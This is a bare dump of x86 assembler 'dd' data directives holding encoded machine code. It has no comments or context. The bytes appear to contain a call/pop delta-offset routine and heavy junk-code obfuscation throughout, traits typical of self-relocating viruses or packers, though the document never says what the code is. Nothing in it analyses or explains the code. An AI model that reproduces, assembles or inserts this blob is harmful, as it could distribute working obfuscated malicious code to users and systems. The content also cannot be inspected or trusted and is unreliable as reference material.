		dd 83064D2Fh, 4D1281BDh, 850F0106h, 71h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 16h, 54C35040h, 858982C6h
		dd 64D1B31h, 8B0F026Ah,	8, 0A19D3357h, 5F064D27h, 0BE950h
		dd 0B1170000h, 69FCA4A3h, 0C56BF2F6h, 24048957h, 243195FFh
		dd 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 890396C3h, 4D2665B5h, 0D79E906h, 0E80000h
		dd 5D000000h, 0A661ED81h, 6A0651h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 36EA7EC3h, 604EB487h
		dd 1ABFEBE7h, 663EE004h, 8DDD0DBBh, 508A5785h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0FE932D80h, 0F4AB8C49h, 13E9A5h, 0DEA10000h,	2A0EF7C3h
		dd 0F7A1B970h, 49C9222Ch, 0C01C33D5h, 71BB6638h, 8B605045h
		dd 13BE66D9h, 489611Eh,	9D950124h, 64064D31h, 35FFh, 0F600000h
		dd 482h, 0F2BE6600h, 0B9958BBDh, 61064D26h, 258964h, 1000000h
		dd 4D03ADBDh, 1585FF06h, 8B064D18h, 8DCF80D9h, 810FFF6Ah
		dd 15h,	9E8h, 0ACB75000h, 8107072Dh, 0BD037B81h, 64D2E31h
		dd 3DB5FF5Fh, 6A064D0Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 32CC353h, 4D0A45BDh
		dd 1195FF06h, 0E9064D04h, 0F7h,	71F0DABFh, 2850F28h, 8A000000h
		dd 0BB00B0D9h, 55AAA51Dh, 0E66AC380h, 9E970h, 9C4D0000h
		dd 61C232C5h, 0E4E85B81h, 158D3171h, 3C064D1Eh,	0C0830F61h
		dd 0F000000h, 0B60FF9BFh, 41BD8BC8h, 0BA064D25h, 6, 0C18BFE8Bh
		dd 30799D8Bh, 0E8C1064Dh, 0E5BF6604h, 53BF66C7h, 0E2F7669Dh
		dd 0FC9BD89h, 0C82B064Dh, 2FBDB509h, 0D18B064Dh, 5E9h
		dd 14BB6600h, 858BF8E6h, 64D3035h, 2E25BD89h, 0C083064Dh
		dd 0C08307h, 0FD03BF8h,	1583h, 5E900h, 0BCC10000h, 0E9BA8B0Dh
		dd 53h,	2F2DB589h, 8D8B064Dh, 64D2495h,	5840FFCh, 0BF000000h
		dd 65F7DC4Ah, 0F01E183h, 3284h,	8D9D8900h, 83064D17h, 4D2495A5h
		dd 89F9FE06h, 4D303595h, 11E906h, 11ED0000h, 0F1E185Bh
		dd 0DD3A83DAh, 0D90494B9h, 668C0252h, 0E9FE8Bh,	8D000000h
		dd 5119B6B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 1F313A1Fh, 29BD5E51h, 4D0AD995h
		dd 0FA8B6606h, 6AFA8B66h, 0EB816600h, 95FF08D9h, 64D0511h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 51C35343h
		dd 0E9B68D7h, 657914C6h, 759B589h, 0FA8B064Dh, 895B9h
		dd 0E2BF6600h, 0FCE18354h, 2409BD31h, 6AFC064Dh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0C3F0C350h, 880F53A1h, 6, 181D9D8Bh,	0B85F064Dh, 0
		dd 30A1BD8Bh, 0D22B064Dh, 143044BFh, 0C233AD15h, 0D003E8D1h
		dd 7504E983h, 52006AF4h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0D08E3F94h, 6676EF70h, 0FDD4E781h
		dd 0DFBF0FF9h, 880Dh, 3294BF00h, 958B357Fh, 64D0599h, 11819D01h
		dd 8D8B064Dh, 64D051Dh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 7DC35545h, 2EC73172h,	8B528A45h, 4D30C59Dh
		dd 8B505B06h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0D84AC381h, 6A0357h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 813C2EC3h, 2A8864E8h, 66FBBF0Fh
		dd 0BD83F88Bh, 64D1C45h, 4A840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0ADFEC356h, 41C2D223h, 5850Fh, 0D8BB0000h, 0B8087360h
		dd 0
		dd 6E8h, 0F07BFD00h, 80000B12h,	0FC5BD8F7h, 4DE58D8Dh
		dd 0E1FF064Dh, 0E9BD83F5h, 64D02h, 4AD840Fh, 0B5890000h
		dd 64D2A2Dh, 2E9BD83h, 0F01064Dh, 4B584h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 0D3813997h, 7F282189h, 60BDF381h, 0BD837E49h, 64D02E9h
		dd 49860F03h, 66000004h, 60B55DBFh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 1AC35040h, 0E32F099Ah, 9D2B6823h
		dd 64D008Dh, 81D98C66h,	8F982DC7h, 4E1806Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0ECC35242h, 0A19DF547h
		dd 0F49B7EB3h, 205DBD8Bh, 8E9064Dh, 74000000h, 7C052862h
		dd 0A35BB89h, 44840FC9h, 6A000001h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0BCFCC351h
		dd 0FC4CC5BEh, 9D2B3171h, 64D143Dh, 1B019D8Bh, 858B064Dh
		dd 64D1879h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0AEC35040h, 33755002h, 4D06FDBDh, 39853306h, 8B064D06h
		dd 8A0F90FEh, 19h, 14E9h, 0C421B600h, 0CEE992D9h, 0A121DD32h
		dd 3EBE470Fh, 89B72380h, 6A90501Ch, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0B947C351h
		dd 0E9B1417Eh, 14h, 0CF3F5BEEh,	2182C3BBh, 413ACF58h, 3CE4AA55h
		dd 0B3EC8497h, 9D33006Ah, 64D2C89h, 98276468h, 12E9CEh
		dd 408F0000h, 3E03A5A3h, 0B6E9EAF3h, 90EEF2CBh,	251F2509h
		dd 9B240481h, 0FF3186DCh, 4D0EB195h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0FEFBF5Dh
		dd 81668525h, 8979F6C7h, 50B79585h, 0D9BD8906h,	0E9064D31h
		dd 1FBh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 17h,	36C35343h, 8BC1EB80h, 50B78D85h, 61BD0306h, 0C7064D11h
		dd 1800h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 60862A2Ch, 3F4F01AFh, 0B791B58Bh
		dd 6A0650h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 785661C3h, 1BD89B6h, 89064D0Bh, 4D2685B5h
		dd 0E5858B06h, 6A064D32h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0BFA6C356h,	254DA068h
		dd 8B8DBF66h, 8BFC0689h, 4D187985h, 4468906h, 2D818589h
		dd 5096064Dh, 0FFA8B52h, 8A525031h, 50310FFAh, 5A310F52h
		dd 5A585A58h, 56605058h, 0F576B866h, 6A966158h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0FDFFC351h, 0DFEF0F59h, 8D0FEB35h, 9, 38F0Fh, 0B70F0000h
		dd 8DB5FFF9h, 6A0650B7h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 8C98C355h, 65169DC8h
		dd 6E827BFh, 75000000h,	0E1FB36F6h, 7DBD8B0Ah, 5B064D24h
		dd 692AD381h, 85681569h, 0F832DAFh, 48Dh, 0C8BB6600h, 24048110h
		dd 7CF1547Ah, 26199D89h, 858D064Dh, 650B795h, 4F99D0Bh
		dd 6650064Dh, 489FB8Bh,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0E9E380FEh, 8,	8350E0D8h
		dd 0A1A9E6E8h, 10E9h, 0E5493900h, 0F598E6A9h, 1A17C968h
		dd 0BFE8F2F5h, 0B195FFC0h, 6A064D0Eh, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E9E0C357h
		dd 0Fh,	8E87E0C5h, 99C87868h, 0F12EFB45h, 6187ABFDh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 8AC35747h, 1B519D23h
		dd 85C7064Dh, 64D02E9h,	3, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 36C35545h, 96BDAD08h,	57CF358Bh, 2A1D8501h
		dd 835B064Dh, 50B795BDh, 840F0006h, 4Ch, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 14h, 3DC35646h, 46E9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 2417C33Eh, 68E0Fh, 9D2B0000h, 64D241Dh
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0B455C350h, 0BD335656h, 64D0ECDh,	6A5B5Fh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 150069C3h, 0C96785FAh, 0DF8B9744h, 2E9BD83h,	0F03064Dh
		dd 41285h, 0CE800h, 57B00000h, 442F54B3h, 0F1EF81ADh, 5BF59ACCh
		dd 31A18589h, 0BD83064Dh, 650B795h, 0EC840F00h,	6A000003h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 927AC352h, 8B66380Ch, 0C19589DFh,	0FF064D2Fh
		dd 50B795B5h, 598D8906h, 0FF064D1Fh, 4D2D9995h,	7BB6606h
		dd 89B58BF5h, 6A0650B7h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 61F9C356h, 0DFA8BACEh
		dd 106C7h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 512B1DC3h, 870F7632h, 0Ch, 6850Fh
		dd 0B5010000h, 64D3279h, 0BE996h, 22590000h, 0C772834h
		dd 7B6012EFh, 4FBB5035h, 96388C4Bh, 6E58589h, 0BB66064Dh
		dd 0B5FF2242h, 650B795h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 3BC35343h, 8D95FF70h,	66064D30h, 8BC957BBh
		dd 50B789B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0FDA53D54h, 5C4B77h, 8B66744Eh, 85858BD8h
		dd 89064D23h, 0C486h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 8BBED1DDh, 4D319D9Dh
		dd 99958B06h, 6A064D05h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0C94DC355h,	4D2EDF82h
		dd 2DDA59EEh, 6A04C283h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 39F9C356h, 0E7143FFh
		dd 0EF81487Ch, 4E7D3C1Dh, 0F205089h, 68Ch, 1858900h, 8D064D0Ch
		dd 50CBF085h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 819F0C07h, 0F62A08E3h, 3880F6Fh
		dd 66000000h, 8689FB8Bh, 0B8h, 5A06BB66h, 6A006Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 8DB139C3h, 0C23803DFh, 95B5FF1Fh, 890650B7h,	4D04F995h
		dd 3195FF06h, 6A064D24h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 25F3C352h, 1211BD8Bh
		dd 8B50064Dh, 243489DEh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0E9C35545h, 0BD8B07D6h, 64D241Dh, 0B795B5FFh
		dd 6A0650h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 457ED5C3h, 6F2C925Ah, 1521BD8Bh, 5ABF064Dh
		dd 0FF5AAA7Eh, 4D2CC195h, 0A5BD8B06h, 83064D30h, 4D32A5BDh
		dd 840F0006h, 66h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0A3C35040h, 5B7F58F1h, 8BF9737Eh, 4D1B059Dh
		dd 8B669606h, 525050FBh, 0F57310Fh, 8Dh, 585A5B00h, 52006A96h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0D9FA71B7h, 67F2BAB8h, 0BB667BBCh, 0B5FF7F27h, 650B795h
		dd 2B359DBBh, 0C595FF0Dh, 6A064D17h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 9257C352h
		dd 0F88B4DE7h, 0B795B5FFh, 6A0650h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0B29190C3h
		dd 27CD9D89h, 95FF064Dh, 64D29B9h, 0BD83D9B7h, 64D1505h
		dd 48840F02h, 0E9000000h, 0Ah, 0D84E62Dh, 816DFF43h, 858B18AFh
		dd 64D15A9h, 6A0000C6h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 4032C355h, 8166352Ch
		dd 0F0CE8C7h, 683h, 71BD8B00h, 0C7064D26h, 4D211185h, 6
		dd 6DF8100h, 0E9021EDAh, 0FFFFF384h, 58C0Fh, 1CBB0000h
		dd 8B2C670Eh, 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0F4534AC7h, 90DF648Dh, 27F98529h
		dd 49BF064Dh, 8D3BB335h, 4D073585h, 0BDBD8906h,	50064D22h
		dd 8A240489h, 6A006ADCh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0D390C350h,	0EEBB66EBh
		dd 6A006A5Ch, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 4B61C351h, 0BFDB8196h,	8D550BD2h
		dd 51B5E085h, 949ABF06h, 81667132h, 83A9A4D3h, 8D8905C0h
		dd 64D332Dh, 6E950h, 0AF2E0000h, 3AB6E6AFh, 0E9240489h
		dd 11h,	94039B8Bh, 0FB5A44D6h, 15393F35h, 158BB6A9h, 0EB816653h
		dd 6AA571h, 1880Fh, 29F90000h, 4D0DC985h, 6A006A06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0E265C351h, 958193BEh, 5260FE12h, 1FC99D8Bh,	0E85B064Dh
		dd 6, 0A14C98D7h, 615EAACCh, 114995FFh,	8F0F064Dh, 1Eh
		dd 188F0Fh, 12E80000h, 0AE000000h, 0BB311E82h, 0B787FF5Dh
		dd 18F3D4DDh, 0CC2DF46h, 8D8D5F48h, 6509A13h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 99C35040h, 492FCFF3h
		dd 0AC3008C3h, 986CE381h, 0D1FF4664h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0E7C35242h,	81BD833Eh, 1064D12h
		dd 9C850Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0E518A8C3h, 40EEA232h, 66268708h
		dd 495CEB81h, 6A026Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 5A596EC3h, 3D2D32FEh, 69958944h
		dd 66064D0Ah, 90C9F1BBh, 0BB665250h, 310FFE4Ah,	10E85250h
		dd 5F000000h, 31D63B53h, 33868F63h, 5AE1AB87h, 5F42B736h
		dd 6160310Fh, 585A585Ah, 9D2B9050h, 64D0519h, 243195FFh
		dd 7E9064Dh, 13000000h,	0A79DCB87h, 3EE96D39h, 0E800000Eh
		dd 0
		dd 0EAED815Dh, 890651B5h, 4D064995h, 0FDBD8906h, 8D064D1Fh
		dd 508A5785h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 9B134694h, 0B9772B0Bh, 1CB3C2CEh
		dd 8AD8BB50h, 4897AF7h,	52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 16C1F56h, 4D0D0D9Dh, 99BD8B06h
		dd 64064D1Ah, 35FFh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 88F2D5C3h, 8E0FF798h
		dd 0Ah,	5E9h, 2A994700h, 8964A541h, 25h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 3023EB6Ah, 0CB2266B1h, 7ACB812Eh, 0FF7A353Ah, 4D181585h
		dd 8880F06h, 52000000h,	8D0Fh, 815B0000h, 77F0ACF7h, 8BFF6A63h
		dd 4D2DB59Dh, 8DB5FF06h, 8B064D2Fh, 4D12F9BDh, 1195FF06h
		dd 0E9064D04h, 13Dh, 0CE9h, 798B800h, 0B5CB7F48h, 0D7E21451h
		dd 0E800B083h, 14h, 0A6A8CB54h,	0A919802h, 0CC21EE45h
		dd 71CE262Ah, 35D3FAD3h, 2370E65Bh, 4D2EA59Dh, 971E406h
		dd 4D1B95BDh, 0F613C06h, 0F883h, 0C8B60F00h, 0A49BD09h
		dd 0BB66064Dh, 6BA61ADh, 53000000h, 641B531h, 8B5B064Dh
		dd 7DB1BFC1h, 0E8C12E38h, 81666004h, 61E9D6EEh,	0E9E2F766h
		dd 7, 442DA3C8h, 2BC30CABh, 3CB860C8h, 0B263D243h, 0D18B61F9h
		dd 2CDDBD29h, 0A6E9064Dh, 0E8000000h, 10h, 0A5A197CFh
		dd 0D331A6A9h, 0B7A77BBAh, 0BEC7C1FDh, 14519D8Bh, 8B5F064Dh
		dd 885h, 0FB8B6600h, 21159589h,	0C083064Dh, 8EEF8107h
		dd 83413F2Fh, 9D8B00C0h, 64D2531h, 830FD03Bh, 1Bh, 30A5BD89h
		dd 56E9064Dh, 0E8000000h, 6, 8E8C9684h,	0BF660867h, 8B5B34B8h
		dd 0FFFFFF8Dh, 2BCB81FFh, 83369AE8h, 840F01E1h,	31h, 6E9h
		dd 71D3B600h, 836F513Eh, 0FFFFFFA5h, 0BF66FEFFh, 95893DFFh
		dd 8, 0BE9h, 1AD93C00h,	0A9A81467h, 1EA16E23h, 0E9h, 0E7B58D00h
		dd 6A065133h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0A3F6C350h, 0E0F73543h, 0F554AF9h
		dd 6AFAB7h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 1Ah,	0D7C35040h, 40F21D0Fh, 10E9EFECh, 75000000h, 8092A6B8h
		dd 0B6AA8F37h, 507D1E96h, 0FF41F6C6h, 4D051195h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0DC7EBA2Ch, 7EC701F7h, 2ABB2747h, 0B94273A4h, 0EE3h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 1EC35747h
		dd 0A5746C49h, 10336CEh, 0E18322B3h, 0F58589FCh, 0FC064D31h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0CCC35040h
		dd 84CBD04Fh, 0DF81D6D0h, 4F28555Ah, 0B8h, 48B0F00h, 66000000h
		dd 0BAB5EBBFh, 0
		dd 5C1993BFh, 0C233AD1Ah, 0D003E8D1h, 7504E983h, 56006AF4h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 6C192322h, 82DB8124h, 8B008084h, 4D14B99Dh, 880D06h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 324FDEC3h, 8AE92C54h, 99958BD9h, 8B064D05h
		dd 4D246D9Dh, 0FE906h, 600A0000h, 0FAA4D1C3h, 545A0F9Eh
		dd 0CC6565B4h, 1D8D8BAEh, 6A064D05h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0DAAAC357h
		dd 44252CD0h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 0C2BB5818h, 6A639F74h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 34EAC355h, 94379F90h
		dd 0FC17998Ah, 0BD8354B7h, 64D1C45h, 8B840F00h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8973C351h, 4D142185h, 599D8B06h, 0B8064D1Fh
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 78C35141h
		dd 2357A08Dh, 0E59D897Ch, 8D064D23h, 4D4DE58Dh,	0E5BD8B06h
		dd 0FF064D11h, 57006AE1h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 7B3D7AA2h, 0AEDB8030h
		dd 496EC781h, 0BD832150h, 64D02E9h, 8D840F00h, 6A000004h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0EDA1C352h, 5D0C4D34h, 0BD83231Ah, 64D02E9h
		dd 78840F01h, 60000004h, 0EFDA8166h, 0F28B6652h, 0E9BD8361h
		dd 3064D02h, 42B860Fh, 95890000h, 64D0DF9h, 53006A60h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 511DFC18h, 74DF284Ch, 0D3DBD8Bh, 8C66064Dh, 50006AD9h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 9705A73h, 3D8531C5h,	80064D14h, 6A04E1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 26003C3h
		dd 0FA95C02h, 0F98B66BFh, 88A0Fh, 89520000h, 4D0DB5BDh
		dd 0C90A5F06h, 115840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 912059C3h, 0AEE932E2h
		dd 11E8h, 97957400h, 45070B67h,	4EC6D899h, 0A90D9E2h, 0BF66091Eh
		dd 0E85F4927h, 9, 52FDCEFAh, 1859CC3Eh,	0BE9BCh, 13310000h
		dd 0D62B1CCCh, 874C36A1h, 8B665FFAh, 79858BDFh,	0FC064D18h
		dd 6398533h, 8D89064Dh,	64D1295h, 5E990h, 279A0000h, 503D1A8Fh
		dd 0BF90F88Bh, 66FB33Fh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0B4655DC3h, 0F2876814h
		dd 0CCBB3ED7h, 810AE9B2h, 0F1782434h, 85013EC8h, 64D3311h
		dd 29659D8Bh, 95FF064Dh, 64D0EB1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0B7C35747h,	3E3EB4h, 0E1B352D0h
		dd 1EE1B589h, 0DB81064Dh, 5572E381h, 0B7958589h, 15E90650h
		dd 0E9000002h, 0Bh, 5EBC9CEEh, 0BB5662A2h, 8BFCCA38h, 50B78D85h
		dd 0DB816606h, 0C76049h, 18h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 9BC35242h, 8C8BBFD9h, 5E8EDh
		dd 0E27D0000h, 8BCE43E6h, 4D060D9Dh, 800F5B06h,	6, 217DB589h
		dd 0B70F064Dh, 91B58BDFh, 6A0650B7h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0DAC7C352h
		dd 0F88B06CBh, 32E5858Bh, 0B70F064Dh, 0F0689FFh, 588h
		dd 0C3816600h, 0BE96097h, 0AB000000h, 6BB97AE6h, 7E41753Ah
		dd 858BB119h, 64D1879h,	9E9h, 59327200h, 17FA4F96h, 10E98715h
		dd 88000000h, 41B2DCCBh, 6A9B441Dh, 0A652B552h,	8955F054h
		dd 6A0446h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0A966F6C3h, 0BBEFB521h, 0A7DBA40h, 0FE95096h
		dd 8F000000h, 0D1B7DBA7h, 7BB96A50h, 277EA77Ch,	6A968353h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0C3E5C352h, 0B5FF0884h, 650B78Dh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0D4C35646h, 35BE999h
		dd 4D21159Dh, 4E806h, 3FF0000h,	0DD8A001Fh, 24448B50h
		dd 0BF008B04h, 5CCD59A9h, 4244489h, 6A58FB8Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0CB97C357h, 0CE9A618Dh, 0BB66145Dh, 858DAB8Dh, 650B795h
		dd 381BD2Bh, 0F50064Dh,	48Fh, 5B515000h, 2404895Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 46C35242h, 0E2E73112h
		dd 9AECFDB8h, 0B195FF6Bh, 6A064D0Eh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0F58DC355h
		dd 51D85A4Bh, 9D23F88Bh, 64D2825h, 0E985C761h, 3064D02h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 7480C355h, 7024A8E9h, 0CF684BD3h
		dd 26719D89h, 0BD83064Dh, 650B795h, 36840F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 79D0C357h, 0D19842A9h, 2E05A293h,	0F9858952h
		dd 5B064D0Ah, 1FE9h, 0ABF6600h,	0C305094h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0F57F98Bh, 682h, 890F00h, 5F000000h
		dd 2E9BD83h, 0F03064Dh,	44585h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0C2D9B9Dh
		dd 17167FBDh, 0FE8F5h, 5CBC0000h, 854FA703h, 21CCA67Ah
		dd 1F69C782h, 11B52919h, 5B064D33h, 0B795BD83h,	0F000650h
		dd 3F984h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0EF816638h, 0CE952DDh, 0CE000000h
		dd 5F3D36E0h, 0D9CCBE65h, 0FFBAB54Ah, 50B795B5h, 81BD8B06h
		dd 0FF064D30h, 4D2D9995h, 31958906h, 8B064D30h,	50B789B5h
		dd 958B6006h, 64D324Dh,	11019D23h, 0C761064Dh, 1000106h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 6DDB354Fh, 4DB0EDA5h, 5125BF66h,	8D0F50h
		dd 89000000h, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 826738C3h, 1FB3E05Dh, 0B795B5FFh
		dd 95FF0650h, 64D308Dh,	11A5B589h, 0B58B064Dh, 650B789h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 5DC35646h
		dd 45BB115Eh, 66126AEBh, 1B4FCF81h, 2385858Bh, 6A064Dh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0ECD80FC3h, 68B0F60h, 8B000000h, 4D276585h, 86896106h
		dd 0C4h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 17h,	0ABC35141h, 53CA8A47h, 5BDBBF0Fh, 599958Bh, 6A064Dh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0BD8977C3h, 64D00C5h, 0E904C283h, 5,	0F8C2D319h, 0EE934h
		dd 0A2570000h, 4F30E161h, 3FB7A9F4h, 0E3230C8Bh, 89205089h
		dd 4D2459BDh, 0F0858D06h, 890650CBh, 0B886h, 55BD8B00h
		dd 66064D2Ch, 6AD88Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 34C35747h, 30148F41h,	665D27D8h, 0B5FFFB8Bh
		dd 650B795h, 2C41BD8Bh,	0FFF8064Dh, 4D243195h, 0D1B53106h
